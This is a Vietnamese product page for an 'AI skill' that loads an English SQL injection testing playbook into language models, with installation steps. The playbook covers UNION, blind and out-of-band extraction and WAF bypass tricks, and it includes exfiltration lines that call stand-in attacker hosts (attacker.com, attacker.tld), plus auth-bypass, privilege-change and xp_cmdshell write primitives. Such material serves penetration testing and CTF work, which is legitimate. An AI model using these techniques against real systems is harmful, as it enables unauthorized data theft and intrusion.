Logo Strix•SQL 注入

Strix•SQL 注入

Cộng đồng
asdfgh1445
Strix•SQL 注入

Strix SQL 注入测试手册,覆盖 union、blind、error-based 与 ORM 绕过技巧;触发名:strix-sql-injection

Add to TypingMind

Tổng quan

Nhà phát hànhasdfgh1445
Kho mãctf-super-hub
Tên kỹ năngStrix•SQL 注入
Sao
836
Bản fork
105
Tệp đi kèm
Chỉ có hướng dẫn
Liên kết
  • Hướng dẫn bằng Markdown

    Tệp SKILL.md được mô hình tải khi cần, nên chỉ tốn token khi có yêu cầu thực sự phù hợp.

  • Dùng được với mọi LLM

    Kỹ năng AI dùng hướng dẫn viết bằng Markdown thay vì mã dành riêng cho một nhà cung cấp, nên dùng được với GPT, Claude, Gemini, Grok hoặc mô hình cục bộ.

  • Hướng dẫn có đủ mọi thứ cần thiết

    Mọi thứ mô hình cần đều nằm trong hướng dẫn — không có tệp bổ sung cần đồng bộ.

  • Mã nguồn mở

    Được asdfgh1445 công bố trên GitHub. Hãy đọc các tệp nguồn trước khi cài đặt.

Cài đặt

Cài đặt kỹ năng AI Strix•SQL 注入 trong TypingMind để dùng với bất kỳ LLM nào, hoặc thêm vào một tác nhân AI khác có thể đọc SKILL.md.

1

Cài đặt trong TypingMind

TypingMind cài đặt kỹ năng trực tiếp từ thư mục GitHub — đọc SKILL.md, đóng gói các tệp tài nguyên và lưu kết quả trên máy.

  1. Mở ứng dụng và vào Plugin → Kỹ năng.
  2. Chọn "Cài đặt từ GitHub".
  3. Dán URL của thư mục kỹ năng được hiển thị bên dưới rồi xác nhận.
    https://github.com/asdfgh1445/ctf-super-hub/tree/main/strix-sql-injection
  4. Bật kỹ năng trong từng cuộc trò chuyện mà bạn muốn sử dụng kỹ năng đó.
Plugin → Kỹ năng → Thêm kỹ năng → Từ URL GitHub, sau đó dán URL thư mục và nhấn Tiếp tục.
2

Cài đặt trong tác nhân AI khác

Bất kỳ tác nhân AI nào đọc được định dạng Agent Skills đều có thể dùng kỹ năng này — hãy sao chép thư mục vào thư mục kỹ năng của tác nhân AI đó.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/asdfgh1445/ctf-super-hub.git /tmp/ctf-super-hub
mkdir -p .claude/skills
cp -r /tmp/ctf-super-hub/strix-sql-injection .claude/skills/asdfgh1445-strix-sql
Khởi động lại Claude Code sau khi sao chép để ứng dụng nhận kỹ năng mới.

Sử dụng trong TypingMind

Bật Strix•SQL 注入 trong bất kỳ cuộc trò chuyện nào trên TypingMind, mô hình sẽ tự xử lý phần còn lại. Tên và mô tả của kỹ năng nằm trong prompt hệ thống. Ngay khi có yêu cầu phù hợp, mô hình tự tải toàn bộ hướng dẫn — bạn không cần gọi thủ công và kỹ năng không tốn token cho đến khi thực sự được dùng.

Mô hình tự nạp Strix•SQL 注入 ngay khi có yêu cầu phù hợp.

Dùng được với mọi mô hình AI

Kỹ năng AI là các hướng dẫn Markdown thuần túy, không phải mã dành riêng cho một nhà cung cấp, nên bạn có thể dùng Strix•SQL 注入 với cả những mô hình khác ngoài mô hình ban đầu. Chỉ cần cài đặt một lần trong TypingMind rồi dùng với GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama hoặc mô hình cục bộ do bạn tự chạy — tất cả đều dùng khóa API của riêng bạn.

  • Chỉ tải khi cần

    Prompt hệ thống chỉ chứa tên và mô tả. Hướng dẫn được tải khi có yêu cầu phù hợp đầu tiên, nên khi kỹ năng chưa được dùng, bạn không tốn token cho phần hướng dẫn.

  • Đổi mô hình ngay trong cuộc trò chuyện

    Vì kỹ năng là hướng dẫn chứ không phải mã, việc đổi mô hình không làm kỹ năng ngừng hoạt động — mô hình tiếp theo vẫn đọc cùng tệp SKILL.md.

Hướng dẫn của kỹ năng

Đây là nội dung SKILL.md mà mô hình tải. Hãy đọc trước khi cài đặt — kỹ năng là những hướng dẫn mà mô hình của bạn sẽ làm theo.

SQL Injection

SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.

Attack Surface

Databases

  • Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
  • Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins

Integration Paths

  • ORMs, query builders, stored procedures
  • Search servers, reporting/exporters

Input Locations

  • Path/query/body/header/cookie
  • Mixed encodings (URL, JSON, XML, multipart)
  • Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
  • Query builders: whereRaw/orderByRaw, string templates in ORMs
  • JSON coercion or array containment operators
  • Batch/bulk endpoints and report generators that embed filters directly

Detection Channels

Error-Based

  • Provoke type/constraint/parser errors revealing stack/version/paths

Boolean-Based

  • Pair requests differing only in predicate truth
  • Diff status/body/length/ETag

Time-Based

  • SLEEP/pg_sleep/WAITFOR
  • Use subselect gating to avoid global latency noise

Out-of-Band (OAST)

  • DNS/HTTP callbacks via DB-specific primitives

DBMS Primitives

MySQL

  • Version/user/db: @@version, database(), user(), current_user()
  • Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
  • File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
  • OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
  • Time: SLEEP(n), BENCHMARK
  • JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak

PostgreSQL

  • Version/user/db: version(), current_user, current_database()
  • Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
  • OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
  • Time: pg_sleep(n)
  • Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
  • JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction

MSSQL

  • Version/db/user: @@version, db_name(), system_user, user_name()
  • OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
  • Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
  • Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
  • Error-based: convert/parse, divide by zero, FOR XML PATH leaks

Oracle

  • Version/db/user: banner from v$version, ora_database_name, user
  • OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
  • Time: dbms_lock.sleep(n)
  • Error-based: to_number/to_date conversions, XMLType
  • File: UTL_FILE with directory objects (privileged)

Key Vulnerabilities

UNION-Based Extraction

  • Determine column count and types via ORDER BY n and UNION SELECT null,...
  • Align types with CAST/CONVERT; coerce to text/json for rendering
  • When UNION is filtered, switch to error-based or blind channels

Blind Extraction

  • Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
  • Binary search on character space for fewer requests
  • Encode outputs (hex/base64) to normalize
  • Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)

Out-of-Band

  • Prefer OAST to minimize noise and bypass strict response paths
  • Embed data in DNS labels or HTTP query params
  • MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a
  • Oracle: UTL_HTTP.REQUEST('http://<data>.attacker')
  • MySQL: LOAD_FILE with UNC path

Write Primitives

  • Auth bypass: inject OR-based tautologies or subselects into login checks
  • Privilege changes: update role/plan/feature flags when UPDATE is injectable
  • File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection
  • Job/proc abuse: schedule tasks or create procedures/functions when permissions allow

ORM and Query Builders

  • Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
  • Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
  • JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
  • Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))

Uncommon Contexts

  • ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
  • LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
  • Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
  • XML/JSON functions: error generation via malformed documents/paths

Bypass Techniques

Whitespace/Spacing

  • /**/, /**/!00000, comments, newlines, tabs
  • 0xe3 0x80 0x80 (ideographic space)

Keyword Splitting

  • UN/**/ION, U%4eION, backticks/quotes, case folding

Numeric Tricks

  • Scientific notation, signed/unsigned, hex (0x61646d696e)

Encodings

  • Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
  • char()/CONCAT_ws to build tokens

Clause Relocation

  • Subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape

Testing Methodology

  1. Identify query shape - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
  2. Determine input influence - User input in identifiers vs values
  3. Confirm injection class - Reflective errors, boolean diffs, timing, or out-of-band callbacks
  4. Choose quietest oracle - Prefer error-based or boolean over noisy time-based
  5. Establish extraction channel - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
  6. Pivot to metadata - version, current user, database name
  7. Target high-value tables - auth bypass, role changes, filesystem access if feasible

Validation

  1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
  2. Extract verifiable metadata (version, current user, database name) using the established channel
  3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
  4. Provide reproducible requests that differ only in the injected fragment
  5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)

False Positives

  • Generic errors unrelated to SQL parsing or constraints
  • Static response sizes due to templating rather than predicate truth
  • Artificial delays from network/CPU unrelated to injected function calls
  • Parameterized queries with no string concatenation, verified by code review

Impact

  • Direct data exfiltration and privacy/regulatory exposure
  • Authentication and authorization bypass via manipulated predicates
  • Server-side file access or command execution (platform/privilege dependent)
  • Persistent supply-chain impact via modified data, jobs, or procedures

Pro Tips

  1. Pick the quietest reliable oracle first; avoid noisy long sleeps
  2. Normalize responses (length/ETag/digest) to reduce variance when diffing
  3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
  4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
  5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw
  6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
  7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
  8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
  9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
  10. Document exact query shapes; defenses must match how the query is constructed, not assumptions

Summary

Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.

Câu hỏi thường gặp

Kỹ năng AI Strix•SQL 注入 làm được gì?

Strix SQL 注入测试手册,覆盖 union、blind、error-based 与 ORM 绕过技巧;触发名:strix-sql-injection

Vì sao nên dùng Strix•SQL 注入 trên TypingMind?

Vì bạn chỉ cần cài một lần rồi dùng với bất kỳ mô hình nào. Strix•SQL 注入 là nội dung Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên cùng một kỹ năng có thể chạy trên GPT-5, Claude, Gemini, Grok hoặc mô hình trên thiết bị — và bạn có thể đổi mô hình ngay trong cuộc trò chuyện mà kỹ năng vẫn hoạt động. TypingMind dùng khóa API riêng của bạn, nên bạn thanh toán trực tiếp cho nhà cung cấp thay vì trả phí thuê bao theo suất người dùng, đồng thời kỹ năng và các cuộc trò chuyện vẫn nằm trong bộ lưu trữ của bạn.

Làm thế nào để cài Strix•SQL 注入 trong TypingMind?

Mở Plugin → Kỹ năng → Cài đặt từ GitHub trong TypingMind rồi dán https://github.com/asdfgh1445/ctf-super-hub/tree/main/strix-sql-injection. TypingMind đọc tệp SKILL.md rồi cài đặt kỹ năng để bạn có thể bật cho từng cuộc trò chuyện.

Những mô hình AI nào có thể dùng Strix•SQL 注入?

Bất kỳ mô hình nào bạn kết nối trong TypingMind. Kỹ năng AI là các hướng dẫn bằng Markdown chứ không phải mã dành riêng cho từng nhà cung cấp, nên GPT, Claude, Gemini, Grok và các mô hình chạy trên thiết bị đều có thể tải kỹ năng này khi có yêu cầu phù hợp.

Có thể dùng Strix•SQL 注入 với bao nhiêu mô hình AI?

Bao nhiêu cũng được. Miễn là mô hình hỗ trợ kỹ năng, bạn có thể dùng Strix•SQL 注入 với mô hình đó — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama và nhiều mô hình khác — tất cả đều trên TypingMind với khóa API riêng của bạn.

Kỹ năng AI Strix•SQL 注入 có miễn phí không?

Kỹ năng này được asdfgh1445 phát hành trên GitHub. Hãy xem điều khoản giấy phép trong kho mã. Bạn chỉ trả tiền cho nhà cung cấp AI của mình theo số token đã dùng.

Kỹ năng AI là gì?

Kỹ năng AI là một gói hướng dẫn có thể tái sử dụng, chỉ cho mô hình AI cách thực hiện một tác vụ cụ thể. Kỹ năng tuân theo định dạng mở Agent Skills: một tệp SKILL.md chứa tên và mô tả, cùng các tập lệnh, mẫu hoặc tệp tham khảo mà mô hình có thể cần. Mô hình chỉ đọc hướng dẫn khi yêu cầu của bạn phù hợp với kỹ năng, nên kỹ năng đã cài đặt không phát sinh chi phí cho đến khi được sử dụng.

Kỹ năng AI khác gì với plugin hoặc máy chủ MCP?

Plugin hoặc máy chủ MCP cung cấp các công cụ mới mà mô hình có thể gọi. Khi mô hình gọi một công cụ, mã của công cụ đó chạy ở đâu đó và trả về kết quả. Còn kỹ năng AI cung cấp kiến thức và quy trình: cách tiếp cận tác vụ, các bước cần thực hiện và những tiêu chí mà kết quả cần đáp ứng. Kỹ năng chỉ là nội dung Markdown, nên không cần máy chủ, khóa API hay môi trường thực thi và hoạt động với mọi mô hình.

Xem tất cả

Tạo ngay không gian làm việc AI riêng

Đăng ký bản tin của chúng tôi để nhận thông báo về tính năng mới và các đợt tặng quà sắp tới 👇